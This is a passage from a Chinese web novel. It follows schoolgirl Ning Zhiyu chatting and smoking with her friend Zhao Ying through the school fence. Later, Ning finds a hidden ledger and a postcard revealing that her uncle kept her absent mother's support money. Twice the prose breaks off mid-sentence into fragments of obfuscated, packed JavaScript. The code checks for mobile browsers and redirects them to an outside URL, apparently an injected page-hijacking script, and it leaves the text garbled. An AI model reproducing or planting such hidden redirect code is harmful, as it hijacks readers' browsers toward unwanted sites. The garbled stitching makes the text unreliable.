大半个小时后的晚自习课间休息时间到了,许多同学站起来出去透风、聊天、上厕所、抽烟、去小卖部……而赵颖的手机上也收到了宁执玉的最新一条消息。 【现在来操场健身器械这边的围墙。】 刚从洗手间里出来的赵颖盯着手机屏幕上这行字愣了几秒,刚开始还没反应过来什么意思,忽然惊到……宁执玉不会带着狗过来看她了吧?! 她火急火燎地独自跑下楼,很快来到灯火通明的操场上。 说“灯火通明”其实也不太准确,照亮的主要是 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“我不是那种人啦。”老宁一本正经地说。 毕竟此时宁执玉穿着过年的那件黑色厚外套,整个人站在没有光线的铁栅栏外头阴影中,只要她自己不吱声,一般人也很难第一时间注意到她的存在。 “怎么选这里见面?搞得我们好像地下党在接头似的……”赵颖吐槽道,“你知道我刚才一路走过来看到了多少情侣在约会吗!” 老宁诚实地说:“不知道。” “三对!这还是我随便看的数量!” “太好了,现在有四对了。”双手插兜的宁执玉微笑起来。 赵颖:“……” 她的脸顿时垮下来,无语地骂道:“神经病啊你。” “哈哈。”宁执玉语气莫名地笑道,“我们现在这样子确实像是约会啊。” 赵颖顿了顿,决定不接这个有点奇怪的话题,径直问道:“所以你既然回来了,为什么不直接光明正大地进学校呢?还约在围墙这边碰头……” “回校园里干嘛,上那剩下一节自习课吗。”宁执玉说着就自己摇摇头,“免了吧。” “好吧,那我的狗呢?你带来了吗。” 满心期待的赵颖趴在栏杆上向外张望,但外头的地面也是黑漆漆一片,什么都看不清。 然而宁执玉下一秒给出的答案却让赵颖心中一沉:“送回去啦。这不是你自己要求的吗?” “……不是,我不理解,你没带狗,也不进学校。”赵颖的音量难免提高了几分,“那你约我跑那么远到底是要干嘛?” “约会啊。”老宁理所当然道。 “???” 赵颖呆若木鸡地站着,简直要变成一个黑人问号脸的表情包了。 “逗你的。”宁执玉忽然笑了,她抬起一只手,口袋里立刻钻出一只毛茸茸的小土狗。 一见到赵颖,它就兴奋地汪汪叫,还好此地偏远,不至于被其他人听见……显然先前是老宁一直捏着小狗的嘴筒子,不让它叫唤出来,免得暴露了这份“惊喜”。 “哇,是狗!”赵颖原本有些沉寂恼怒的心一下子又兴致高涨起来,连忙把手伸过栅栏的缝隙,“快给我玩玩!” 宁执玉把小狗连着狗绳一起递过去。 小心翼翼地把小狗拿着穿过栅栏的缝隙空间,赵颖蹲在地上抚摸着这毛茸茸的小东西,忽然想起宁执玉这混账的逗人玩毛病似乎越来越严重了,当即抬头看向站在栅栏外头的朋友,不满道:“你明明带着狗来看我,为什么刚才还要撒谎?” “别急,听我给你细细道来。”宁执玉很淡然地给自己狡辩,“你预判了我会带小狗,但我告诉你没带,这个时候你就会很失望。然后我再掏出小狗——这件事就变成了一个意外惊喜。这样一来,我就给老赵你制造了一个意想不到的惊喜!” 仍然蹲在地上的赵颖耷拉着视线,皮笑肉不笑地扯了扯嘴角:“我可真是谢谢你的‘惊喜’了。” “不客气。”宁执玉一如既往地谦虚礼貌。 见她一副听不懂反话的装傻充愣样子,赵颖顿时怒了:“我根本没在夸你!” “没有吗?”老宁故作惊讶,“那你很坏哦~” 赵颖:“……哈!” 但是不知道为什么,被这么沙雕的朋友特意逗乐,赵颖还是没忍住地笑出声来。 真的——太讨厌了,这个人。 34.操场闲聊 在校园操场这处光线不甚明亮的昏暗地带里,蹲在墙边抚摸小狗的赵颖一时间没说话,而站在铁栅栏围墙外头的宁执玉则是问:“你今晚有带烟吗?” “有。” “借我一根。”老宁很不客气地伸手过来。 “说得好像你以后会还似的。” 赵颖这么吐槽着,还是有空闲的那只手从口袋里摸出了黑色烟盒与打火机丢过去。 “豁,中南?”宁执玉接过来,眯着眼睛一看这独特的黑色包装盒就认出来了,“富婆哦,还抽这个。” 赵颖抬头瞪了这货一眼:“十块钱一盒的‘黑8’而已,富个鬼啊。” 宁执玉笑笑,也不接话,她这人在开玩笑方面是知道“点到为止”的界限范围的……因此接下来就只是默默地掏出一根,给自己点上,吸了两口,感受那种带着一丝可可奶香的微苦烟草味,方才把东西重新还给朋友。 老赵此时蹲得累了,索性一屁股坐在操场的橡胶地面上,然后也给自己点了一根。不过小狗对于二手烟似乎没有什么抗拒,依旧快乐地踩着赵颖的大腿爬来爬去。 “怎么不抽王艺菡带回来的那些外烟?” 兴许是觉得站着跟朋友居高临下地讲话不太礼貌的缘故,宁执玉很快也跟着坐在了外头的地上,两人就这样隔着铁栅栏在校园内外抽烟……反正校裤搞脏了也没关系,都是要清洗的。 心事重重的赵颖又突兀地看了她一眼,发现宁执玉脸上的神情依旧是淡淡的,既没有什么谴责意味,也没有什么特别的情绪,就好像只是饭后散步时看见了一处普通风景而随意开口那样。 用大拇指和食指将烟拿下,看着青灰色的烟气从指尖升起,赵颖又长出一口闷气,稍微解释道:“暂时……不想抽。” “不想抽的话就送我。”老宁似乎完全没有听出这背后的复杂心思,语气轻佻道,“哎呀,就怕某些人会睹物思人哟~” 赵颖被这混不吝的家伙给气笑了:“你做梦去吧,我就算放在那里落灰也不会送别人的!而且王艺菡不也给你了一堆同款吗?” “害,免费的东西当然是多多益善。” “平时坚持一天只抽一根的学霸没想到背地里也会说‘多多益善’这种话。”赵颖也反唇相讥。 不过下一刻宁执玉还是莫名地笑起来,随着她的发笑,香烟烟头的火星在昏暗中微微地上下晃动:“所以承认吧老赵,你心里还是很喜欢王艺菡这个朋友,对吧?” 赵颖:“……” 赵颖低头避开眼前之人那仿佛看穿心思的眼神:“你这不是在说废话嘛。” 宁执玉调侃道:“我还真以为你们两个要绝交了。” “怎么可能?”赵颖下意识地反驳。 她本来想说“我跟老王可是最好的朋友”——但这一刻赵颖本能地想到了跟周喜吵架的前车之鉴,她怕宁执玉这个朋友也会因此介意这点,于是临时改口——“其实这次我跟老王吵架……我知道错都在我啦。是我太任性了,发神经,故意疏远她,王艺菡有什么错呢?她唯一的过错就是认识了我这样小气的朋友。” 宁执玉将自己脸上那种不合时宜的笑容悄然收敛起来,她只是继续平静地抽烟,一如既往地做一个旁观者。 她听赵颖絮絮叨叨地跟在忏悔室悔过那样讲了半天,最终当赵颖的烟烧得只剩下一点点烟头之际,老宁这个“业余修女”也给出了自己的建议:“去找她和好吧。越快越好。” “诶?!”赵颖惊异地抬头看着她,一时间连垂下去撸狗的那只手都不动了,“越、越快越好?” “是啊,咱们的王艺菡同学顶多再待六个月,到了今年暑假就要离开陈水了。”宁执玉语气冷静而宽和地替赵颖分析,“你们之间还有几天这样的快乐相处时日呢?” 颇为纠结的赵颖最终被老宁的一番速通言论给说服,她大为苦恼地抓了抓自己的后脑勺:“可我们今天上午才吵完!我怕她……她觉得我……” “别怕。别去想。”宁执玉漫不经心地掸了掸自己的烟灰,注视着它们落入黑暗中,“先去道歉再说。” “老宁,真的吗?”赵颖不太自信地追问她,“你觉得老王是否会趁机不原谅我,或者干脆……” “干脆再次伤害你?”宁执玉都忍不住笑了,她盯着赵颖那双惴惴不安的眼睛,以一个旁观者的角度替她分析,“如果老王真的趁着你道歉的时候不仅不原谅你,还要言语二次伤害你——那这人还是王艺菡吗?被别人魂穿了吧。” “放心啊赵颖,那人是老王,不是你爸!不会给你一巴掌后再给你一巴掌!” ……狗屎,这家伙讲地狱笑话的水平真是信手拈来。 赵颖一时间有点莫名地想笑,她感觉自己本该敏感的自尊心和糟糕的笑点在打架。 事实上,宁执玉一边这样劝说,一边偷偷观察赵颖会不会因此生气。 还好没有。 老赵面对朋友们的互黑玩笑还是很宽容的,因为大家以前也没少彼此玩人参攻击。 最后赵颖表示自己要缓缓,但最迟这周结束前应该会去找王艺菡和周喜道歉。 宁执玉点点头,也没逼迫老赵必须火速去道歉与和好,她先前提出的也只是一个建议。因此如今多问了一问:“老赵,你打算先找谁道歉?” “找……找王艺菡先吧。” 很显然,赵颖想先从友情游戏的“简单难度”的关卡开始闯关。 “完了,那周喜的原谅你时间估计要被延后了。”宁执玉笑着掏出另一侧口袋里的薄荷糖开始窸窸窣窣地拆包装,“道理是那个道理,她也知道你跟王艺菡关系最好。但你说她这人本来就因此耿耿于怀……嘿嘿。” 后面的话不言而喻。 “啊!”赵颖抓狂地猛搓小狗的狗头,小狗被揉得晕头转向,嗷嗷呜呜的瘫倒在主人的脚边,“人际关系这种事——好烦啊!” “这已经算简单的啦,要不然你尝试去跟钟雅静那帮鸟人成为新的至交好友得了。看看她们之间的人际关系会不会简单点?”宁执玉的每日馊主意再次上线。 赵颖顿时泄气了:“我疯啦?那几个社会姐一看就不好惹,还‘至交好友’……我有你们几个不就够了吗。” “那还真是谢谢了。对了,你烟抽完没?”宁执玉把手又从栅栏缝隙里伸过来,“抽完就来吃糖。” 赵颖乖乖地接过那裹着透明糖纸的方形硬糖:“薄荷糖?哪来的。” “牵狗出来时在你家楼下碰巧遇到徐敏敏,她刚好从超市回来,跟我聊了两句就请我吃这个了。” “哇,她那么好?”赵颖略感狐疑道,“敏敏姐没跟你说什么怪话吧。” 正在往自己嘴里塞糖果的宁执玉的动作微微停滞了一瞬间:“……” ——她说我是你的舔狗,这种话算不算怪话? “没有。”宁执玉决定撒谎。 反正也不是什么很重要的事情。 赵颖信以为真,默默地一边吃糖一边撸狗,同时思考着该怎么跟两个朋友分别道歉的事情。 这个时候宁执玉又想起另外一件事:“差点忘了,关于你这个狗的疫苗,我刚才想了个新的省钱办法。” “怎么说。”赵颖立刻来了兴趣。 “我刚刚查过了。”宁执玉扬起亮着屏幕的手机,上面显示着购物软件的界面,“网上的更高阶疫苗加狂犬病疫苗,通常也就在百元以内。你可以买回来,平时疫苗放在自家冰箱里冷藏,然后我来给它打。” 这回赵颖是真的惊呆了:“你还会给狗打疫苗?卧槽宁执玉你还有什么不会的——上次吃年夜饭时你甚至还会杀鱼和切鱼片!” “嘿。你居然还记得。” “当然!”赵颖钦佩地说,“因为很酷啊!” 于是宁执玉难得 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想想吧,一个到了十七岁都没坐过飞机,这辈子接触过的最先进交通工具是省内高铁的县城女孩,乍一听朋友家以前还能给猫买出国机票……心中的复杂滋味实在是难以言喻。 坐在地上的宁执玉平静地看了看低垂着脑袋的赵颖,又抬头看向陈水星星点点的夜空。 “愁什么。”她平铺直叙地说,“等老赵你以后大学毕业,工作,赚了钱,自然是能出国度假的。” 其实赵颖从来没想过那么遥远的事情,因为她身边也没有这样的大人会告诉她这种太过具体的、关于长大以后的美好之事。 如今骤然听到老宁这么描述着,就好像听到一个陌生世界的一角在她面前稍微显露了些许踪迹,令人顿感惊奇和难以置信。 “这种事真的可以吗?只要能赚钱了,我就可以这样出去玩吗?” 说出这话时,赵颖的脸上满是不安和憧憬混杂在一起的不自信神情。 “当然!到时候让老王带你飞也行。”宁执玉温和地笑起来,“反正她肯定不会拒绝邀请你出国度假的机会。或者……” “或者什么?”老赵好奇巴巴地刨根问底。 宁执玉忽然沉默了两秒钟,还是鼓起勇气装作很平常的样子笑道:“我请你出去度假也可以。” 赵颖没有听出她话语里那微不可察的迟疑停顿,只是单纯地很开心:“真的假的?你可别耍我,因为我会一直记着这个约定哦。” “真的。”宁执玉慢悠悠地说,“约定好的事情,我什么时候骗过人?” “你天天都在骗人好吧!以前周喜都抓包过你好几回了……” “哦,那也是善意的谎言。”老宁狡辩道。 赵颖也乐了:“啧啧,这个人——当世匹诺曹啊你。” “哈哈哈!”这个外号让宁执玉没绷住,忍不住大声笑起来,然后差点被嘴里的薄荷糖残片给呛到。 “咳咳……草……咳,不该笑那么大声……咳咳!” “唉,笨蛋老宁,你小心点啊。” 趴在栅栏空隙间的赵颖无奈而担忧地注视着外头正忙于弯腰咳嗽的宁执玉,忽然意识到自己为什么一直喜欢跟这个朋友玩的一个重要原因…… 宁执玉是一个从外省过来的转学生,无论是她身上的独特气质,还是那些看过、听过、体验过的事物,都远超于小县城长大的孩子。 对于赵颖而言,这些她从未感受过的事物和经历,都像是天外来客般新鲜而神秘,始终在无声地吸引着她的注意力。 但比起那些缥缈不定的未来事情,看不真切的人生出路,赵颖知道最重要的一点是——这个朋友就活生生地存在于自己的面前。 一想到这里,赵颖的手掌就不自觉地捏紧了最近一根生锈的铁栅栏杆子,那些掉落的黑色漆片残留在掌心里很不舒服,但是…… 她总是那么温柔。 那么近。 近得就好像……唾手可得。 35.突发情况 赵颖是个行动力很强的人,说去道歉,立刻执行——她在吵架后的第二天就找周喜聊了,紧接着第三天就找王艺菡把事情摊开说了……两个朋友当然是选择原谅她。 事实上,三个人私底下都纷纷给宁执玉单独发消息,表示“姐妹还是你说得对”“你的推断完全没有出错”之类的赞许。 心里美滋滋的宁执玉嘴上说着“哪里哪里”“我身为朋友应该做的”,实际上想的是“不愧是我啊哈哈哈”。 通过在朋友之间来回奔走,老宁好歹最终保住了这艘岌岌可危的友谊小船……哪怕是在面对三个人先后跳船的情况下,她还是做到了把所有人都给拽回来这件事,从而成功地维护大家的友情! 一经和好,王艺菡便马上在即将到来的周六约大家出去玩。 但是周喜这个周末已经事先约了男朋友去附近的公园爬山,算算时间有冲突,只好遗憾缺席,但也承诺说看看晚一点能不能赶来吃个饭之类的……宁执玉倒是不介意跟剩下两个朋友周末出去玩一玩,因此答应下来。 可是到了周六当天上午集合的时间点,她却极为难得地迟到了。 “怎么回事啊?老宁这样的人居然会迟到……”老王站在马路边上向着烧烤店所处的那条街的方向张望,虽然从这里根本看不到芭蕉冲路,但她还是一个劲地张望。 跟王艺菡在和好后第一次单独相处以至于有点不自在的赵颖,她低头看了看手机时间,发现距离三人约定的见面时间已经过去了十几分钟。这种迟到行为可不是宁执玉的日常作风,便主动提议打个电话过去问问什么情况。 王艺菡自然没有任何意见。 铃声响起后,足足响了五六下,宁执玉那边才姗姗来迟地接通电话。 捧着手机通话的赵颖“啊啊哦哦”地聊了几句,最后表情突然愣住,几秒后嘴里蹦出一句“请节哀”后就默默地挂断电话。 一旁的王艺菡已经听得傻眼了:“什么情况?谁走了?” 赵颖格外茫然地扭头看向老王:“宁执玉说今天让我们自己玩,她来不了。因为她外婆昨晚在家独自睡觉时,突发脑溢血……今早发现时人已经走了。现在老宁还在医院陪着那帮亲戚呢。” “啊?这么突然吗!”王艺菡呆了呆,不过她很快又露出一副释然但不太道德的轻快表情,“但那个老太婆平时对宁执玉好像也不怎么好……这次人走了,老宁应该不会太伤心吧?” “希望吧。”赵颖叹了口气,觉得多少有些生死无常的意味在里头。 面对外婆的撒手人寰,舅舅一家人都很愕然。宁执玉也很无奈,甚至可以说今日的周末行程全部被打了个措手不及。 但人死为大,她也不好在这个时间点跳出来说什么原定的出门玩耍事项。 没办法,只能鸽了朋友们。 今早第一个发现外婆出事了的正是舅妈本人,她原本打算叫今日没有早起散步的亲妈起床去吃早饭。 随后大家赶紧打了120把人送进医院……然而在医生宣布“抢救失败”后,舅妈还是一下子脱力地瘫软在地,大哭起来。 见此状况,小表弟徐宗耀也哇哇地哭,他虽然搞不清楚什么情况,但是妈妈哭了,他也跟着哭。 外婆今年七十八岁,有高血压的家族病史,但多年来有药物和饮食双重办法,总体而言控制得不错。 老人平时也算是身体健朗,通常早上会起来散步几公里,然后来烧烤店里自己煮早餐(老宁煮的饭她不肯吃),有时候还会去天台种菜浇水(把老宁种的薄荷叶与柠檬都给扒光扔掉了),偶尔还会跟街坊邻居去打牌搓麻将……总而言之,这位外婆在大部分时候都是一个中气十足、笃信重男轻女原则的乡下小老太。 然而兴许是今年回老家过春节时,外婆意外得知了同村的两位幼年玩伴先后离世,以及一位很亲近的亲戚在年前也走了——大家都说外婆这些天来兴致不高,很是伤感。她自己也总说头疼,好像有刀子在割脑袋那样难受。 过年那几天,舅妈觉得在山区里看病不方便,就承诺等着年后回陈水再带外婆去医院看病。外婆自己也有在吃日常的降压药控制,结果一回来,夫妻两人就忙着开工干活的诸多事宜,暂时没什么人关心老人的身体不适,自然是一拖再拖。 直到今天早上,老人卧室门被推开的那一刻,一切都已经成定局了。 坐在医院的等候椅上,看着正在打电话给殡仪馆的舅舅老徐,以及自己身旁哭得泣不成声的两个表弟,宁执玉决定开始尝试回忆这位与自己没有任何血缘关系的“外婆”在生前给自己留下了怎样的温暖回忆。 这番思索长达五分钟——竟然没有! 其实宁执玉很不喜欢这个“外婆”。 因为老人总是要骂她,有理由的时候破口大骂,没理由的话都能骂她是个“赔钱货”这类的鬼话。 记忆中,外婆全是对宁执玉的各种嫌弃……干活不麻利就算了,唠唠叨叨也算了,重男轻女观念听听得了,可哪怕是平时饭桌上多吃一块肉都要被骂“饿死鬼投胎”,实则是生怕两个外孙不够肉吃。 然而可怜的老宁都快饿得营养不良,要不是有好心的朋友们轮流接济一二,怕不是都要上街去行乞了。 反正就离谱到这种程度的相处模式。 所以说句心里话,宁执玉不仅没有为老人的逝世感到多少悲伤,甚至隐约松了口气。 因为这个世界上能莫名其妙臭骂她的人又少了一个。 因此如今的她尽量把自己的嘴角往下压,盯着医院走廊的防滑地板,把自己这辈子经历过的所有糟心事都在脑子里过了一遍,最终呈现出面色凝重的样子,以免在悲痛的老徐一家人中显得过于突兀的轻松模样出来。 ………… …… 外婆的离世还是给宁执玉这个“外人”多多少少造成了一些影响。 最大的影响在于舅舅要求她跟学校请假一周,回来帮忙一起处理老人的后事。 老徐的理由也很充分,说是两个儿子都还小得很,怎么比得上如今都高二的外甥女来得稳重可靠呢? 头一回从老徐嘴里听到这种正面评价的宁执玉:我?稳重可靠?在你们和两个表弟面前?? 但是她也不想在这个舅舅一家人悲痛伤心的时刻去顶撞这对夫妻,好不容易争取到了“不用帮店里干杂活”的“特权”,宁执玉还不想那么快就失去它。 因此她跟班主任老师贺亚红打了电话,也请老徐这位成年监护人出面,帮忙一起说明了家里的情况。 一听说是家里长辈去世,贺老师批假很痛快,完全没有任何叽叽歪歪,叮嘱小宁同学好好处理老人家的后事就行。 这位班主任还让宁执玉放心,说回头会让班里其他一位成绩好的同学将这周的进度整理成一个相对简易的各科笔记,让宁执玉能够参详,等她假期结束回来后也能迅速赶上学习进度。 哦,贺老师你人真好。 宁执玉放下手机时忍不住发自内心地赞扬自己的班主任。 她要是回头能考个好大学,一定会提点水果礼物去贺老师家好好感谢一番。 于是就这样,在开学的第三周,宁执玉足足请假缺席了一整周的校园生活。 朋友们和平时几个玩得比较熟的同学都发来消息询问她到底怎么回事,还有消息灵通之辈劝宁执玉“节哀顺变”。尽管老宁实质上并没有多少哀伤之情,但还是客气地感谢了这群关心自己的亲朋好友们。 不过王艺菡她们几个很快就知道了宁执玉不仅没有怎么悲伤,还在葬礼的前后间隙里抽空看书继续复习了起来……… “宁卷王没救了。”周喜对此的评价是这样。 另外两人深以为然。 等到了这周的周五之时,外婆的后事已经处理得七七八八,后续送骨灰回乡等具体的下葬事情跟宁执玉也没什么关系了。 因此她本来计划着回到烧烤店的杂物间里继续看书,然而舅妈却一反常态地叫她来家里帮忙。 宁执玉有点不解,但还是去了。 这才一进门,神情有些憔悴的舅妈就对上门来的丈夫外甥女发号施令:“小玉,你去把外婆房间里的那些旧衣服、旧被子和别的什么杂七杂八东西清理出来,打包扔掉!留着太晦气了!” ——原来是抓她来干苦力来了!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318484|195417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 还站在门口、刚刚换上客人拖鞋的宁执玉看了看不远处的兄弟二人房间,又看看外婆生前居住的小房间,把“为什么你自己不清理”的问题给咽了回去。 “好的,舅妈。” 她现在很乖……起码在舅舅和舅妈看起来是这样的。 既然监护人不知出于什么原因突然想要扮演一个和善长辈的美好形象,宁执玉当然也不介意跟着一起演一演。 舅妈带她进入了这个关着门的房间,一进门,宁执玉就感受到了一种令人不太舒服的微弱寒意,关门闭户的空气环境带着老人死亡所残留的沉闷味道,在这里久久不曾散去。 她算是知道舅妈为什么不想进来收拾逝者的生前日用品了……唉。 眼看舅妈熟门熟路地找到了老太太生前藏匿私房钱的抽屉,并将里面有价值的所有物品当面拿走后,站在一旁的宁执玉忽然问:“舅妈,外婆的这个房间以后打算给谁住?” “给小耀吧……”舅妈低头清点着手感黏腻陈旧的大小面额纸钞,没有看见宁执玉此刻那带着一丝探究的表情,理所当然地说,“他今年都三年级了,也不能总是睡他哥的上铺。” ——如今徐宗昌和徐宗耀两兄弟同住在一个房间,分别睡上下铺。 然而这个挤挤挨挨的住宿条件让进入了青春期的男孩子十分不满……当然也可以理解,有时候确实不太方便。 可是宁执玉呢?她在那个连转身都有点困难、醉酒客人会敲打门扉恐吓的杂物间里,就很舒服了吗? 豁。 ——我还以为你们两个真的转性了,变好了,哪怕只有一丝可能性……看来我还是太天真了。 明白自己在这个家算是“外人”的宁执玉当然不会自讨苦吃地询问“为什么这个房间不给我”这种愚蠢的问题,可事情真的发生时,她还是难免沉默了几秒,倏然笑道:“也是。两个弟弟都长大了,最好都有自己的房间。” 舅妈这个时候突然意识到了什么,脸上带着哄孩子般的虚伪笑容,连忙抬头看向宁执玉:“小玉,你不会介意吧?” “怎么会呢,舅妈。”宁执玉说着连自己都不信的鬼话,一脸诚恳真挚地说,“虽然我和小昌有时候确实会打打闹闹的……但我是姐姐啊,做姐姐的人就得让着弟弟嘛,天经地义!您说是不是这个道理?” 舅妈却信了。或者说,她原本想听到的答案就是这样。 “对对,难得你小小年纪就有这样体恤我们大人的心思,小玉你真是个好孩子……” 等舅妈交代完注意事项后,宁执玉就开始打开外婆的衣柜,坐在她临终前的床铺上,一件一件地检查衣服里有没有藏着什么新的私房钱或者别的值钱物件,没有的话就叠好放进大纸箱里准备一会儿打包丢掉。 还真别说,宁执玉在其中几件衣服和旧鞋子里头零零碎碎地找到了几张五十块、二十块的钞票,甚至还有一个造型土土的金戒指! 她将它们都大大方方地摊开放在桌上,丝毫没有贪墨的打算。 因为她也觉得这些钱很晦气……还是留给舅妈这个外婆的亲女儿处理吧。 如果世界上有鬼的存在,那以外婆生前对自己的“友好值”程度,老宁根本不敢贪她任何一分钱。 房间的大门敞开着,收拾杂物期间,舅妈突然毫无规律地走进来视察了好几次。这样的突击检查,显然是想看看这个外甥女有没有搞鬼。 但是宁执玉身正不怕影子斜,很坦荡地告诉她桌上的东西是外婆留下的。 反复确认她没有任何心虚撒谎的迹象后,舅妈又不要钱地夸奖了她好几句后,将这些东西全部拿走了。 ——老宁觉得自己舅妈真的好烦,既要指使自己干苦力,又不信任自己……真是个恶心又虚伪的大人。 一个小时后,叠衣服叠得宁执玉腰酸背痛,累得只想闭上眼睛。好不容易收拾完大半个衣柜里的衣服,接下来就是袜子内裤这些更贴身的衣物。 然而当老宁的手碰到抽屉里一个放在最里头上、卷起来的红袜子时,她忽然心里咯噔了一声。 手指隔着棉袜的布料传来的硬物触感……是一把小小的钥匙? 36.茕茕白兔 如果有一把钥匙突兀地存在于这个房间的话,多半会有一个对应的锁头。 宁执玉默不作声地检查了房间半天,到处东张西望,最终在衣柜最顶端、被推到几乎最靠墙边的缝隙里找到了一个扁扁的带锁铁盒子。 因为它的位置太偏僻了,以至于外面进来的人都没办法一眼发现它。除非站到床上,使劲往里头看才能隐约瞥见盒子的身影。 宁执玉站在床铺上,踮着脚尖伸手摸了半天,总算将那个盒子没有惊动任何人地轻轻拿下来。 上面积灰严重,随便一摸表面都有好几个指印。 外婆生前还没有如今的宁执玉那么高,可能是上次推进去后就拿不出来,然后也很久没有管这个盒子了…… 当看清楚这个带锁小盒子时,宁执玉多少有些做贼心虚,她扭头飞快地看了一眼敞开的卧室大门,客厅的电视机里传来电视剧男女主演声嘶力竭的对话声响……宁执玉知道自己舅妈随时可能再次进来查看情况。 她本该继续坦坦荡荡地将盒子摆在桌上,交给长辈,但她克制不住自己这一刻汹涌的好奇心。 外婆生前藏了什么?竟然还没跟钱和银行卡那些重要物品放在同一个带锁抽屉。 这般神神秘秘的,不会是——金条或者什么珠宝吧? 一想到这儿,宁执玉立刻纠结起来,如果是金条珠宝怎么办,她要不要拿走……不拿的话,是不是太迂腐了? 就在这份微妙的内心纠结之中,宁执玉依旧动作利索地爬下床来,蹲在床边,争分夺秒地用那枚藏在袜子里的钥匙打开了这个铁盒。 里面的东西出乎预料地不值钱。 都是一些陈年的发黄单据、零零散散的小票、商店优惠券等纸张,乍一看有的票据年龄比宁执玉本人还大。 宁执玉:“……” 看来真是自己想多了。她自嘲地笑了笑,将这一摞乱七八糟的东西翻到最底部,她的手忽然顿住了。 那里躺着一张明信片和一本小学生用的田字格作业本。 明信片是非常普通的外国某处景点照片,宁执玉没有急着看,而是夹在左手指缝里,并先去看那本小学生作业本。 本子的封面上用黑色水笔端正地写着“2008-2013”这个年份,宁执玉一寻思,此期间她都到舅舅家来寄住,正好看看里头有什么信息。 她好奇地打开作业本,发现是外婆生前那歪歪扭扭但依旧清晰可见的字迹,看着像是某种账单,都是记录家里一些比较大的开支和收入。 ——外婆虽然是乡下人,但在来城里养老时也去老年学校玩过几年,因此终于识得了除去自己名字以外的许多汉字。 前面几年的记账匆匆翻过,然而当看到自从宁执玉来到舅舅家的那一年开始,外婆的记录事项就多了几项新事物。 【…… 2011.10.8:大姑子又从歪(外)国打钱过来,说是给那个péi钱货用。国柱收了,说存起来。 2011.11.9:大姑子还是打了三千。 2012.2:过年,家里换了台新的白色大车。国柱说是什么面包、包子车。我们回村时很有面子,péi钱货在这个家里还是右(有)点用的。 2012.3.14:老师说老大的成绩跟不上,必须上步(补)习班,国柱替老大交了钱,要两千多。 ……】 “…………” 宁执玉的脑袋有那么一瞬间变得彻底空白。 明明眼前的每个字都认得,哪怕有个别错别字与拼音混入其中,可是为何结合在一起就让人……让人难以理解了? 这个时候,她骤然听见房间外传来脚步声。 宁执玉根本顾不上多想,几乎是以这辈子最快的速度将那张来不及查看细节的明信片夹在薄薄的作业本里,然后撩开自己的裤腰带,行云流水般地把本子贴着肚皮往下一塞,成功地将其卡在腰带和上衣之间! “小玉,找到什么新的东西了吗?”舅妈的声音在她背后突兀响起,跟鬼似的,几乎没有什么特别清晰的脚步声传来。 “找到了一个都是灰尘的旧盒子,舅妈。” 衣衫整齐的宁执玉神色如常地转过头来看向站在门口的女人:“正想叫您过来看看呢。” 值得一提的是这个盒子本身是没有锁头的,那个小小的钥匙和黄铜锁扣是外婆额外挂上去的……如今这玩意儿正藏在宁执玉垂在身侧的指缝里。倘若舅妈多往前走几步,兴许就能发现她的手指缝里夹着什么东西。 之所以要刻意藏起锁头,是因为这样一来,原本“上锁的盒子”就变成了一个“普通盖上的盒子”,更不容易显示出宁执玉提前开盒查看内部物品的行为了。 然而舅妈还是狐疑地看了一眼满脸平静的外甥女,不过兴许是想到了这孩子前面好几次的“拾金不昧”高尚行为,顿时又放下心来。 她打开盒子查看,发现都是一些陈年的商店票据和优惠券,如今算得上是毫无用处的垃圾玩意儿,当即随手关上它。 “我拿去客厅再看看,但估计没有什么值钱的单子了。”舅妈嫌弃地用两根指头捏着布满灰尘和手印子的铁盒,“小玉你再好好收拾整理一下这个房间,差不多就行了。” “好……” 直到目送着舅妈走出这个房间,将失去作用的小锁和钥匙塞回口袋里,宁执玉才听见自己胸腔里那残余的心跳频率,此刻正如平地惊雷般猛烈。 她一时默然。 ………… …… 收拾打包完整个房间后,宁执玉被舅妈美其名曰“帮忙扔垃圾”的借口给赶出家去,连一顿晚饭都没有混上。 不过她此时也不是很在意这种事情了,而是急匆匆地回到烧烤店,在二楼客人好奇疑惑的目光打开了杂物间的门锁,一个闪身冲进去,又将门给反锁上。 直到确认周围真的暂时安全后,宁执玉才近乎脱力地倚在门上,用袖子擦擦额头的冷汗,旋即重重地叹了口气。 她走向自己的那简陋床铺,从肚皮上抽出了带着体温的作业本,坐在床边开始一页一页地查看这本外婆遗留下的家庭账本。 宁执玉记得自己是2011年年中来的陈水,真正值得她关注的也就是账本上2011年到2013年这几年时间。 十几分钟后,她呆呆地看完了账本。以及那张被随手夹进来的明信片。 明信片不是外婆的什么朋友寄来的,而是……母亲。 宁执玉的妈妈。 哪怕时隔七年,源自至亲的字迹还是让宁执玉一眼就识别出来。 ——这是母亲写给舅舅,却被舅舅看完后随手丢弃,然后被好奇的外婆当成宝贝一样捡回来的风景明信片。 很多老人素来喜欢私藏一些自认为好的东西,瞒着家里,其他人都不知晓。 ——就像是这张老明信片,又像是那个记着满满当当的家庭收入和开支事项的作业本。 明信片上是这样写的。 【弟:姐在国外安好,勿念。 钱已转账,今后也会打进同一账户。 你前些时日发来的合影,已看,仍觉不适。极像他。 抚养她至成年且上大学即可。至此,我与她两清。——姐,徐婉玲。】 “极像他”“不适”“两清”……宁执玉盯着这一行行的陈旧字迹看了许久,直到它们开始颤抖和变得模糊,她才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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你宁愿去爱那个冷漠抠门的弟弟,在家里没破产前宁愿出钱给他买商铺,买车子,娶媳妇。破产后明明自己都到了国外,却还是放不下弟弟一家人,甚至把我的每个月抚养费直接打给那个家伙,也不愿意给我留下你的一个最基本联系方式? 你出国后很快就换了号码,为什么不告诉我新的号码?这对于能够正常联系弟弟的你来说,是很困难的事情? 你知道这些年来你弟弟对我说什么吗? 他说,宁执玉你是个没人要的孩子,你妈没给我一分钱,我收留你,纯粹是看在这份姐弟情谊上,老子才没让你去住孤儿院! 